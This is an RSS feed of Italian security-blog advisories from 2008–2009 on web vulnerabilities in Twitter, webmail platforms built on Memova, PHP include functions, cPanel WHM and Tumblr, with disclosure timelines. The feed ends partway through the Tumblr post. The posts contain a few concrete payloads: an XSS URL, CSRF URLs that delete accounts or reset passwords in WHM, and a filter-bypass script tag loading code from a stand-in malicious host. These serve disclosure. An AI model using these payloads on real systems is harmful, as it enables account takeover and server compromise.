<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Matteo Carli &#187; Advisory</title>
	<atom:link href="http://www.matteocarli.com/category/informatica/advisory/feed" rel="self" type="application/rss+xml" />
	<link>http://www.matteocarli.com</link>
	<description>caffeina e passione</description>
	<lastBuildDate>Fri, 11 Dec 2009 13:11:56 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Twitter horror</title>
		<link>http://www.matteocarli.com/2009/11/twitter-horror.html</link>
		<comments>http://www.matteocarli.com/2009/11/twitter-horror.html#comments</comments>
		<pubDate>Wed, 11 Nov 2009 17:04:21 +0000</pubDate>
		<dc:creator>Matteo Carli</dc:creator>
				<category><![CDATA[(In)Sicurezza]]></category>
		<category><![CDATA[Advisory]]></category>
		<category><![CDATA[Novità]]></category>
		<category><![CDATA[Personale]]></category>
		<category><![CDATA[Privacy]]></category>
		<category><![CDATA[Ricerche]]></category>
		<category><![CDATA[Social engineering]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Web Apps]]></category>

		<guid isPermaLink="false">http://www.matteocarli.com/?p=356</guid>
		<description><![CDATA[Non nutro una particolare simpatia per i social network più famosi, preferisco occuparmi delle implicazioni che possono portare in ambito di privacy e web security. Twitter è una piccola eccezione: mi piace perchè è immediato e semplice. Twitter, come altri social network, è stato bersaglio di problemi di sicurezza nel corso del tempo. Recentemente ho [...]]]></description>
			<content:encoded><![CDATA[<p>Non nutro una particolare simpatia per i social network più famosi, preferisco occuparmi delle implicazioni che possono portare in ambito di privacy e web security. Twitter è una piccola eccezione: mi piace perchè è immediato e semplice.</p>
<p>Twitter, come altri social network, è stato bersaglio di problemi di sicurezza nel corso del tempo. Recentemente ho notato, insieme a <a href="http://sites.google.com/site/tentacoloviola/" target="_blank">Rosario Valotta</a>, <strong>un problema di sicurezza che poteva permettere ad un attaccante di prendere il pieno controllo di un account</strong> tramite il click su di un link da parte della vittima.</p>
<p>Più nel dettaglio il problema era relativo alla validazione dei parametri della query string: a causa di alcuni <a href="http://unicode.org/charts/PDF/U0080.pdf" target="_blank">caratteri Unicode </a>non correttamenti gestiti dall&#8217;applicazione e dall&#8217;output del nome del paramentro senza encoding era possibile far scattare un XSS richiamando una URL di questo genere:</p>
<blockquote><p>http://twitter.com/testxss?&lt;script&gt;alert(&#8216;xss&#8217;)&lt;/script&gt;=%A2</p></blockquote>
<p>Il problema della <a href="http://brian.mastenbrook.net/display/36" target="_blank">validazione dei caratteri unicode su Ruby On Rails</a>, framework sul quale Twitter è basato, è <a href="http://groups.google.com/group/rubyonrails-security/msg/7f57cd7794e1d1b4?pli=1" target="_blank">stato risolto a Settembre 2009</a>. Niente di nuovo, anche se non eravamo a conoscenza dell&#8217;articolo prima di fare indagini sulla vulnerabilità trovata. E&#8217; buffo che nei primi giorni di Settembre, Brian Mastenbrook (a cui vanno i crediti per il problema degli Unicode su RoR), sul suo blog ha dichiarato:</p>
<blockquote><p>After a few days of not receiving a response from either vendor, I decided to ping both of them to get an update. I pinged a security researcher who I knew worked at Twitter, and after a little back and forth things were <strong>quickly resolved and Twitter was patched</strong>.</p></blockquote>
<p>Probabilmente hanno installato la patch senza fare code review dell&#8217;intero software o perlomeno delle funzioni utilizzate per la validazione dell&#8217;output.</p>
<p>L&#8217;XSS sul dominio twitter.com permetteva il pieno controllo dell&#8217;account della vittima al solo click di un link presente in un twit . Una falla innocente, come viene classificato l&#8217;XSS, in questo caso poteva innescare una infezione virale proprio per la natura su cui si basano i social network.<br />
Tecniche come identity stealing, malware distribution e spam sarebbero state immediate.</p>
<p>Il video seguente dimostra in azione la vulnerabilità sfruttata da un JavaScript di poche righe scritto in qualche minuto:</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="344" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/2MbCD9qFpIc&amp;hl=it&amp;fs=1&amp;" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="425" height="344" src="http://www.youtube.com/v/2MbCD9qFpIc&amp;hl=it&amp;fs=1&amp;" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Twitter dovrebbe curarsi maggiormente della sicurezza dei propri utenti, ed essi dovrebbero avere maggiore cura delle informazioni personali che pubblicano nel World Wide Web.</p>
<p>Disclosure:</p>
<ul>
<li>27 Ottobre: trovata la vulnerabilità</li>
<li>28 ottobre:  Twitter avvisato del problema</li>
<li>3 Novembre: Twitter riconosce il problema nella advisory di Brian Mastenbrook (ma non era già stata installata la patch?)</li>
<li>10 Novembre: Twitter corregge la pagina di errore togliendo l&#8217;output del nome del paramentro</li>
</ul>
<hr />
<p><small>© <a href="http://www.matteocarli.com">Matteo Carli</a> - <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.5/it/">Creative Commons 2.5 (by-nc-sa)</a></small></p>]]></content:encoded>
			<wfw:commentRss>http://www.matteocarli.com/2009/11/twitter-horror.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Month of Twitter bug</title>
		<link>http://www.matteocarli.com/2009/07/month-of-twitter-bug.html</link>
		<comments>http://www.matteocarli.com/2009/07/month-of-twitter-bug.html#comments</comments>
		<pubDate>Thu, 02 Jul 2009 08:14:20 +0000</pubDate>
		<dc:creator>Matteo Carli</dc:creator>
				<category><![CDATA[(In)Sicurezza]]></category>
		<category><![CDATA[Advisory]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Privacy]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Web Apps]]></category>
		<category><![CDATA[motb]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[web2.0]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.matteocarli.com/?p=332</guid>
		<description><![CDATA[Luglio sarà il mese dei bug legati  a tutti i servizi che utilizzano le  API di Twitter: Month of Twitter Bug (MoTB per gli amici) appunto. Ieri sono stati pubblicati diversi XSS riguardanti il servizio bit.ly utilizzato per rendere più brevi le URL. La pericolosità degli XSS sta nel fatto che nell&#8217;account di bit.ly si [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.matteocarli.com/files/2009/07/twitter.png"><img class="alignleft size-full wp-image-333" title="Twitter" src="http://www.matteocarli.com/files/2009/07/twitter.png" alt="Twitter" width="210" height="49" /></a> Luglio sarà il mese dei bug legati  a tutti i servizi che utilizzano le  API di <a href="http://twitter.com">Twitter</a>: Month of Twitter Bug (<a href="http://www.twitpwn.com/">MoTB</a> per gli amici) appunto.<br />
Ieri sono stati pubblicati diversi <a href="http://www.twitpwn.com/2009/07/motb-01-multiple-vulnerabilities-in.html">XSS riguardanti il servizio bit.ly</a> utilizzato per rendere più brevi le URL. La pericolosità degli XSS sta nel fatto che nell&#8217;account di bit.ly si possono inserire i profili di Twitter in modo da postare gli aggiornamenti direttamente da quel servizio. In questo modo un XSS può permettere all&#8217;attaccante di aggiornare l&#8217;account di Twitter della vittima senza che questa se ne accorga.</p>
<p><span style="text-decoration: line-through;">Per ora non sono state ancora pubblicate i dettagli del secondo servizio coinvolto a causa del fuso orario.<br />
</span>Per oggi 2 Luglio è statopublicato un <a href="http://www.twitpwn.com/2009/07/motb-02-reflected-xss-in-hootsuite.html">XSS sul servizio HootSuite</a> che permette la gestione di più account Twitter. Leggendo i commenti del post però sembra che ci siano altri XSS sul servizio oltre a quello segnalato dal MoTB<span style="text-decoration: line-through;">.</span></p>
<p><a href="http://aviv.raffon.net/2009/06/15/MonthOfTwitterBugs.aspx">L&#8217;idea è venuta ad Aviv Raff</a>, già coinvolto nel <a href="http://browserfun.blogspot.com/">Month Of Browser Bug</a> creato da <a href="http://www.metasploit.com/">H.D. Moore</a>, per mettere in luce quanto sia importante la cura della sicurezza dei servizi terzi che utilizzano le API di Twitter. Non ci vorrebbe molto a scrivere un worm che, sfruttando tutte queste vulnerabilità, impatti su un gran numero di utenti di Twitter.</p>
<p>Sarà sicuramente interessante leggere tutte le vulnerabilità che verranno pubblicate durante il mese.</p>
<hr />
<p><small>© <a href="http://www.matteocarli.com">Matteo Carli</a> - <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.5/it/">Creative Commons 2.5 (by-nc-sa)</a></small></p>]]></content:encoded>
			<wfw:commentRss>http://www.matteocarli.com/2009/07/month-of-twitter-bug.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Le Webmail sono morte, viva le Webmail</title>
		<link>http://www.matteocarli.com/2009/03/le-webmail-sono-morte-viva-le-webmail.html</link>
		<comments>http://www.matteocarli.com/2009/03/le-webmail-sono-morte-viva-le-webmail.html#comments</comments>
		<pubDate>Fri, 27 Mar 2009 11:05:45 +0000</pubDate>
		<dc:creator>Matteo Carli</dc:creator>
				<category><![CDATA[(In)Sicurezza]]></category>
		<category><![CDATA[Advisory]]></category>
		<category><![CDATA[Novità]]></category>
		<category><![CDATA[Personale]]></category>
		<category><![CDATA[Privacy]]></category>
		<category><![CDATA[Ricerche]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Web Apps]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[webmail]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.matteocarli.com/?p=290</guid>
		<description><![CDATA[Il fenomeno Webmail 2.0 è scoppiato da quando Google con la sua Gmail, ha scosso i concorrenti proponendo svariati giga per archiviare la propria posta elettronica online. Non sempre però va tutto come dovrebbe e succede che la privacy della propria casella viene messa a rischio da vulnerabilità XSS e CSRF; evidentemente di criticità media-bassa [...]]]></description>
			<content:encoded><![CDATA[<p>Il fenomeno Webmail 2.0 è scoppiato da quando Google con la  sua Gmail, ha scosso i concorrenti proponendo svariati giga per archiviare la propria posta elettronica online.<br />
Non sempre però va tutto come dovrebbe e succede che la privacy della propria casella viene messa a rischio da vulnerabilità XSS e CSRF; evidentemente di criticità media-bassa nella svariata maggioranza di casi.<br />
In questo caso però, grazie alla somma di più problemi un attacker può modificare le configurazioni delle caselle di posta elettronica delle vittime, impostando l’inoltro automatico di tutte le mail in arrivo verso un account e-mail da egli controllato. In tal modo è possibile violare la riservatezza delle caselle delle vittime senza ricorrere ai comuni metodi di identity stealing (cookie stealing, credential stealing), ma semplicemente inviando e-mail, preparare ad arte, alle vittime.<br />
La pericolosità di questa tecnica è resa critica grazie a tre fattori:</p>
<ol>
<li> semplicità di exploiting (cross-browser)</li>
<li> scarsa awareness della vittima (nessuna interazione richiesta oltre all&#8217;apertura della mail stessa)</li>
<li> diffusione sul web (ampia diffusione della piattaforma vulnerabile e possibilità di propagazione virale)</li>
</ol>
<p>Sia chiaro, nessuna novità nella categoria delle vulnerabilità delle Web Application, ma una dimostrazione di come l&#8217;insieme di alcune di queste può portare ad uno dei più gravi problemi mai registrati on-the-wild su Web Application. <strong>I bug scoperti sono adatti per sfruttati da quello che potrebbe essere uno dei più grandi e gravi <a href="http://en.wikipedia.org/wiki/XSS_Worm" target="_blank">Worm delle Web Application</a>: numero di domini Internet coinvolti maggiore di 10 (cross-domain) e semplicità di propagazione.</strong></p>
<p>Prima di scendere nei dettagli del funzionamento dell&#8217;attacco è doveroso precisare che il problema è stato corretto a tempo di record dal vendor che si è dimostrato attento alla sicurezza dei propri clienti.</p>
<p><span id="more-290"></span></p>
<p>Le WebMail interessate dalle vulnerabilità sono quelle basate sul framework di messaggistica &#8220;Memova&#8221; sviluppato da Critical Path. Si tratta di una soluzione per la gestione della posta elettronica <a href="http://www.criticalpath.net/About/Customers.html">enormemente diffusa sul Web</a> .</p>
<p>Giusto per riportarne qualcuno:</p>
<ul>
<li>Tiscali IT/UK/NL</li>
<li>Wind</li>
<li>Telecom</li>
<li>Vodafone</li>
<li>Swisscom</li>
<li>Telefonica</li>
<li>Virgin</li>
<li>Sonera</li>
<li>Terra.es</li>
<li>Telia</li>
<li>T-Mobile</li>
<li>FastwebNet</li>
<li>Ono</li>
<li>Regione Puglia</li>
<li>Regione Sicilia</li>
<li>Diversi domini gov.uk</li>
</ul>
<p>Si tratta di ISP diffusi in Europa con una enorme base di utenti.<br />
Ovviamente su ciascuna installazione, la soluzione Memova è stata opportunamente personalizzata, sia nel look che nelle funzionalità per venire incontro alle necessità del cliente, ma le caratteristiche di base sono comuni e, purtroppo, comuni sono anche le vulnerabilità.</p>
<p>Il grafico che segue riassume la vita dell&#8217;attacco che può essere portato a termine grazie alle vulnerabilità scoperte:</p>
<p><img class="alignnone" title="Vita dellattacco" src="http://www.matteocarli.com/files/2009/03/webmail_vector_small.png" alt="" width="459" height="340" /></p>
<ol>
<li>L’attaccante invia una e-mail preparata ad arte alla casella e-mail della vittima</li>
<li>La vittima legge l’e-mail e in maniera trasparente viene impostato l’inoltro automatico di tutte le e-mail in ingresso</li>
<li>Conoscenti, colleghi ed amici della vittima scrivono e-mail alla vittima stessa</li>
<li>Tutte le e-mail in ingresso nella casella della vittima vengono inoltrate all’attaccante in maniera  trasparente.</li>
</ol>
<p>L’impostazione dell’inoltro automatico è solitamente disponibile all’utente sotto le voci &#8220;Impostazioni&#8221; o “Opzioni” della WebMail. Questa opzioni non viene tuttavia consultata e modificata di frequente, per cui un’eventuale modifica di queste configurazioni passerebbe verosimilmente inosservata per parecchio tempo.<br />
<strong>In alcune Webmail, interessate dalle vulnerabilità, non viene concessa all’utente finale la possibilità di impostare l’inoltro automatico tramite il menù delle opzioni</strong>; in tale scenario è praticamente impossibile per la vittima disabilitare le opzioni di inoltro, impostata grazie alle vulnerabilità scoperte, senza il supporto dell’assistenza tecnica dell’ISP.</p>
<p>Per il Proof of Concept delle vulnerabilità sono state analizzate le tre più popolari WebMail italiane (almeno in termini di account registrati) che tra l’altro fanno uso tutte e tre del framework Memova:</p>
<ul>
<li>Tiscali</li>
<li>Libero (Wind)</li>
<li>Virgilio (Telecom)</li>
</ul>
<p>Tramite l’invio di una mail <strong>contenente un unico vettore di attacco è possibile infettare gli account di tutte e tre le WebMail</strong>, impostando le opzioni di inoltro automatico verso un account di posta elettronica controllato dalla vittima. Nonostante il PoC sia stato testato solo sulle 3 WebMail sopra descritte, è verosimile attendersi che anche nelle installazioni presso altri clienti, il software di filtering di Memova sia vulnerabile a questo XSS.</p>
<p>Per l’invio della mail l’attacker ha la necessità di creare un testo ad-hoc in modo da sfruttare le vulnerabilità presente sui filtri di validazione dell’input presenti nelle WebMail coinvolte. Il vettore riportato sopra è studiato ad hoc per evadere i filtri anti XSS di tutte le WebMail testate, sia nella loro vecchia versione, sia nella loro nuova versione 2.0 (basata su tecnologia Ajax). All’apertura della mail, il vettore inviato viene posizionato nel codice HTML di un iframe preposto alla visualizzazione del testo di ciascuna e-mail.<br />
Il codice del vettore richiama un file JavaScript ospitato su un server Web in possesso all’attaccante che viene eseguito nel contesto dell’iframe (es: mioisp.it )<br />
In alcune delle implementazioni testate esiste un meccanismo di &#8220;protezione2 per limitare i danni provocati da XSS abbinati a CSRF: il dominio dell’iframe in cui viene letta la mail (e quindi eseguito il JavaScript) è differente dal dominio della WebMail (es. mail.mioisp.it).<br />
Esiste tuttavia un meccanismo per aggirare queste limitazioni:</p>
<ul>
<li>occorre individuare un secondo XSS sullo stesso dominio della WebMail (es. mail.mioisp.it) e senza la presenza del token di sessione (che non abbiamo ancora a disposizione)</li>
<li>tale XSS (di tipo reflected) viene richiamato come source di un iframe creato all’interno del frame di lettura della mail</li>
<li>il Reflected XSS può avere accesso alla document.location della WebMail (steso dominio), riuscendo così a recuperare il token di sessione</li>
<li>Il reflected XSS può a sua volta lanciare attacchi CSRF verso pagine del dominio &#8220;mail.mioisp.it&#8221; riuscendo così a modificare i settagli dell’inoltro automatico</li>
</ul>
<p>Svincolato dalle restrizioni della <a href="http://en.wikipedia.org/wiki/Same_origin_policy" target="_blank">Same Origin Policy</a>, ed in possesso del token di sessione il codice del reflected XSS può effettuare chiamate XmlHttp verso qualunque risorsa presente sul dominio &#8220;mail.mioisp.it&#8221;.<br />
In particolare la URL da chiamare per impostare il forward automatico delle mail in arrivo è:</p>
<ul>
<li>POST /cp/ps/Mail/preferences/SetForward</li>
</ul>
<p>Questa pagina è sempre disponibile sulle installazioni testate di Memova, anche in quelle in cui l’opzione di inoltro automatico non è disponibile per gli utenti finali della WebMail.</p>
<p>Come già ipotizzato qualche riga sopra, in una ottica teorica, ma praticamente realizzabile e funzionante, potrebbe essere creato <strong>un &#8220;worm&#8221; che sfruttando le vulnerabilità riportate sia in grado di auto replicarsi leggendo la rubrica o i mittenti e-mail presenti nella “inbox” della vittima.</strong> In questo modo si creerebbe un effetto a catena che comprometterebbe milioni di caselle e-mail interessate dalle vulnerabilità.<br />
Avendo, inoltre,il controllo completo della casella e-mail della vittima sarebbe possibile effettuare il furto d&#8217;identità scrivendo e-mail a nome della vittima senza fare lo spoofing degli header.</p>
<p>Sulla base di una scelta &#8220;etica&#8221; e per rispetto nei confronti di tutte le parti coinvolte (la privacy degli utenti da una parte, il rispetto del lavoro di professionisti dall’altra) <strong>il codice sorgente e le specifiche tecniche alla base del PoC non verranno divulgate</strong>.</p>
<p>E&#8217; disponibile un <a href="http://www.matteocarli.com/files/2009/03/webmail_video.html">video dimostrativo</a> (le notizie che si vedono a 2 minuti e 24 secondi evidenziano la data di registrazione) di quanto fin ora descritto e una <a href="http://www.matteocarli.com/files/2009/03/advisory.pdf">advisory dettagliata</a> del problema.</p>
<p><strong>Rosario Valotta<br />
Matteo Carli</strong></p>
<hr />
<p><small>© <a href="http://www.matteocarli.com">Matteo Carli</a> - <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.5/it/">Creative Commons 2.5 (by-nc-sa)</a></small></p>]]></content:encoded>
			<wfw:commentRss>http://www.matteocarli.com/2009/03/le-webmail-sono-morte-viva-le-webmail.html/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>PHP filesystem attack vector</title>
		<link>http://www.matteocarli.com/2009/02/php-filesystem-attack-vector.html</link>
		<comments>http://www.matteocarli.com/2009/02/php-filesystem-attack-vector.html#comments</comments>
		<pubDate>Fri, 13 Feb 2009 12:11:41 +0000</pubDate>
		<dc:creator>Matteo Carli</dc:creator>
				<category><![CDATA[(In)Sicurezza]]></category>
		<category><![CDATA[Advisory]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Ricerche]]></category>
		<category><![CDATA[Web Apps]]></category>
		<category><![CDATA[evilaliv3]]></category>
		<category><![CDATA[lfi]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[suhosin]]></category>
		<category><![CDATA[ush]]></category>

		<guid isPermaLink="false">http://www.matteocarli.com/?p=284</guid>
		<description><![CDATA[Qualche giorno fa il team USH ha rilasciato una advisory, a firma di Francesco &#8216;ascii&#8217; Ongaro e Giovanni &#8216;evilaliv3&#8242; Pellerano, a riguardo di alcune vulnerabilità riscontrate in alcune funzioni di PHP per l&#8217;accesso al filesystem; nello specifico alle funzioni della famiglia include e require. I problemi identificati portano un attaccante a poter gestire un Local [...]]]></description>
			<content:encoded><![CDATA[<p>Qualche giorno fa il team <a href="http://www.ush.it">USH</a> ha rilasciato una advisory, a firma di <a href="http://www.ush.it/staff/francesco-ascii-ongaro/">Francesco &#8216;ascii&#8217; Ongaro</a> e <a href="http://www.evilaliv3.org/">Giovanni &#8216;evilaliv3&#8242; Pellerano</a>, a riguardo di alcune vulnerabilità riscontrate in alcune funzioni di PHP per l&#8217;accesso al filesystem; nello specifico alle funzioni della famiglia include e require.<br />
I problemi identificati portano un attaccante a poter gestire un Local File Inclusion in piena autonomia, bypassando filtri, prefissi o suffissi hardcoded all&#8217;interno della chiamata alla funzione.</p>
<p>Nel dettaglio si tratta di due scoperte distinte, che se usate in accoppiata permettono di fare truncation del path in modo da aprire un file arbitrario presente sul filesystem del sistema o all&#8217;interno della open_basedir se configurata.</p>
<p>Consiglio di leggere <a href="http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/">l&#8217;advisory completa</a> e magari <a href="http://seclists.org/fulldisclosure/2009/Feb/0079.html">il thread dedicato su Full Disclosure.</a></p>
<hr />
<p><small>© <a href="http://www.matteocarli.com">Matteo Carli</a> - <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.5/it/">Creative Commons 2.5 (by-nc-sa)</a></small></p>]]></content:encoded>
			<wfw:commentRss>http://www.matteocarli.com/2009/02/php-filesystem-attack-vector.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>cPanel 11: Cross-Site Scripting e Request Forgery multipli</title>
		<link>http://www.matteocarli.com/2008/05/cpanel-11-cross-site-scripting-e-request-forgery-multipli.html</link>
		<comments>http://www.matteocarli.com/2008/05/cpanel-11-cross-site-scripting-e-request-forgery-multipli.html#comments</comments>
		<pubDate>Tue, 13 May 2008 19:50:49 +0000</pubDate>
		<dc:creator>Matteo Carli</dc:creator>
				<category><![CDATA[(In)Sicurezza]]></category>
		<category><![CDATA[Advisory]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Personale]]></category>
		<category><![CDATA[Web Apps]]></category>

		<guid isPermaLink="false">http://www.matteocarli.com/2008/05/cpanel-11-cross-site-scripting-e-request-forgery-multipli.html</guid>
		<description><![CDATA[cPanel è una applicazione Web proprietaria per l&#8217;automazione di server che forniscono Web Hosting, nata per semplificare il lavoro agli amministratori. Il software è diviso in due parti principali: cPanel e WHM (Web Host Manager). La prima è utilizzata dai clienti , i quali siti sono ospitati sul server, per gestire le varie configurazioni del [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.flickr.com/photos/87395622@N00/2489736887/" target="_blank"><img src="http://farm4.static.flickr.com/3270/2489736887_9e11f2d035.jpg" align="middle" border="0" alt="Manual XSS"/></a></p>
<p>cPanel è una applicazione Web proprietaria per l&#8217;automazione di server che forniscono Web Hosting, nata per semplificare il lavoro agli amministratori. Il software è diviso in due parti principali: cPanel e WHM (<a href="http://www.cpanel.net/products/cpwhm/cpanel11/index.html">Web Host Manager</a>). La prima è utilizzata dai clienti , i quali siti sono ospitati sul server, per gestire  le varie configurazioni del proprio spazio. La seconda è utilizzata dall&#8217;amministratore e da eventuali rivenditori per la gestione dell&#8217;intera macchina e degli account dei clienti.</p>
<p>Di default WHM risponde alla porta 2086 (HTTP) e 2087 (HTTPS) del server dove l&#8217;applicazione è installata e utilizza <a href="http://en.wikipedia.org/wiki/Basic_access_authentication">autentication basic</a> per l&#8217;accesso. <strong>Un accesso privilegiato su WHM permette il controllo a livello root della macchina.</strong> Ovvero le funzioni richiamabili da Web sono critiche per l&#8217;integrità del server.</p>
<p>Purtroppo però qualsiasi funzione è richiamabile tramite CSRF (<a href="http://en.wikipedia.org/wiki/Csrf">Cross-site Request Forgery</a>). L&#8217;attaccante, conoscendo la porta e il dominio dove la vittima (l&#8217;utente con privilegi su WHM) ha effettuato il login, può far visitare una pagina appositamente creata contenente un url, caricata ad esempio con il tag &#8220;&lt;img&gt;&#8221;, simile a questa <em>https://host_of_cpanel:2087/scripts/killacctlist?domain=victim.com&amp;user=victim</em><br />
Non credo serva dell&#8217;immaginazione per capire cosa succederà.<br />
cPanel ha introltre sviluppato delle <a href="http://www.cpanel.net/plugins/xmlapi/">API in formato XML</a> per semplificare l&#8217;integrazione delle funzioni di amministrazione di WHM in software di terze parti. <strong>Le API utilizzano la stessa porta e lo stesso tipo di autenticazione di WHM</strong>, questo fa si che se la vittima ha attiva una sessione su WHM possono essere usate le API XML per condurre attacchi CSRF in maniera semplificata. Ad esempio una url di questo tipo <em>https://host_of_cpanel:2087/xml-api/passwd?user=victim&amp;pass=0wnedpasswd</em> permette di modificare la password di un qualsiasi utente presente sul server.</p>
<p><strong>Le funzioni di WHM soffrono anche di problemi nell&#8217;input-validation nel caso specifico XSS</strong> (Cross-site Scripting). Era già stata creata una funzione di encoding HTML dei caratteri &#8220;pericolosi&#8221; per attacchi XSS, ma evidentemente non è stata implementata nel modo giusto. Utilizzando un numero arbitrario di parentesi angolari intorno al tag &lt;script&gt; è possibile bypassare il filtro:<br />
<em>&gt;&gt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;script src=&#8221;http://malicious.site/code.js&#8221; a=&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&lt;</em></p>
<p>Non vedo limiti di utilizzo di questa vulnerabilità; l&#8217;unico limite è la fantasia e una dose di social engineering. Mi sembra molto interessante poter recuperare la lista degli account presenti sul server.</p>
<p>Come spiegato anche nell&#8217;<a href="http://lists.grok.org.uk/pipermail/full-disclosure/2008-May/062197.html">advisory originale</a>, nelle versioni 11.18.4+ e 11.22.3+<strong> le vulnerabilità XSS sono state risolte mentre quelle CSRF sono state mitigate</strong> inserendo un controllo dei referer HTTP al momento di una richiesta ad una funzione di WHM. Attenzione perchè, <a href="http://blog.cpanel.net/?p=39">come spiegato nel post sul blog di cPanel</a>, <strong>la funzione &#8220;anti-XSRF attacks&#8221; va abilitata a mano all&#8217;interno di &#8220;Tweak Settings&#8221;</strong>.</p>
<p>Spero che il prima possibile il core delle funzioni di WHM venga riscritto! Come già visto, nell&#8217;<a href="http://www.matteocarli.com/2008/04/tumblr-worm-quando-i-blog-diventano-virali.html">advisory su Tumblr</a>, <strong>i referer HTTP non sono da utilizzare per funzioni anti-CSRF</strong>.</p>
<p>Maggiori riferimenti possono essere trovati su <a href="http://secunia.com/advisories/30166/">Secunia Advisory ID 30166</a> e come <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2070">CVE-2008-2070</a> e <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2071">CVE-2008-2071</a>.<br />
Segnalo inoltre che sono state segnalate vulnerabilità simili anche sulla parte en-user di cPanel: maggiori informazioni su <a href="http://secunia.com/advisories/30027/">Secunia ID 30027</a>.</p>
<hr />
<p><small>© <a href="http://www.matteocarli.com">Matteo Carli</a> - <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.5/it/">Creative Commons 2.5 (by-nc-sa)</a></small></p>]]></content:encoded>
			<wfw:commentRss>http://www.matteocarli.com/2008/05/cpanel-11-cross-site-scripting-e-request-forgery-multipli.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tumblr worm, quando i blog diventano virali</title>
		<link>http://www.matteocarli.com/2008/04/tumblr-worm-quando-i-blog-diventano-virali.html</link>
		<comments>http://www.matteocarli.com/2008/04/tumblr-worm-quando-i-blog-diventano-virali.html#comments</comments>
		<pubDate>Tue, 01 Apr 2008 20:51:43 +0000</pubDate>
		<dc:creator>Matteo Carli</dc:creator>
				<category><![CDATA[(In)Sicurezza]]></category>
		<category><![CDATA[Advisory]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Personale]]></category>
		<category><![CDATA[Ricerche]]></category>
		<category><![CDATA[Web Apps]]></category>

		<guid isPermaLink="false">http://www.matteocarli.com/2008/04/tumblr-worm-quando-i-blog-diventano-virali.html</guid>
		<description><![CDATA[Probabilmente molti avranno già letto l&#8217;alrticolo, Così nasce un worm internet pubblicato ieri  su Punto Informatico. Eviterò quindi di fare una introduzione all&#8217;argomento passando invece subito alla parte più tecnica che non ha potuto trovare spazio su PI. Tumblr è un noto dominio dove si possono creare dei miniblog, meglio detti tumblelog. Ogni utente viene [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.flickr.com/photos/9562498@N05/2335901378/" target="_blank"><img src="http://farm3.static.flickr.com/2404/2335901378_b1e3828ccc_m.jpg" style="border: 1px solid black" align="left" border="0" /></a>Probabilmente molti avranno già letto l&#8217;alrticolo, <a href="http://punto-informatico.it/2239005/PI/Commenti/-in-sicurezza--Cos-igrave--nasce-un-worm-internet/p.aspx">Così nasce un worm internet</a> pubblicato ieri  su Punto Informatico.<br />
Eviterò quindi di fare una introduzione all&#8217;argomento passando invece subito alla parte più tecnica che non ha potuto trovare spazio su PI.</p>
<p>Tumblr è un noto dominio dove si possono creare dei miniblog, meglio detti <strong>tumblelog</strong>. Ogni utente viene ospitato su sottodomini di tumblr.com (<a href="http://www.google.it/search?hl=it&amp;q=site%3A*.tumblr.com&amp;btnG=Cerca+con+Google&amp;meta=">site:*.tumblr.com Risultati 125.000</a>) oppure su un dominio proprio configurato per l&#8217;occasione. Questa configurazione porta ad eseguire codice JavaScript solamente nel dominio utilizzato per il proprio tumblelog: per le same-origin policy, non potrà essere sfruttato per attaccare la Dashboard, che risiede sul dominio www.tumblr.com.</p>
<p>Sono state prese ulteriori cautele dal punto di vista della sicurezza applicativa: ogni video è inserito nel proprio tumblelog innestandolo in un sotto dominio creato ad-hoc, i cookie hanno come path il dominio completo di www e ad ogni richiesta POST fatta per modificare/inserire il proprio profilo o micro-post viene controllato l&#8217;header Referer.<br />
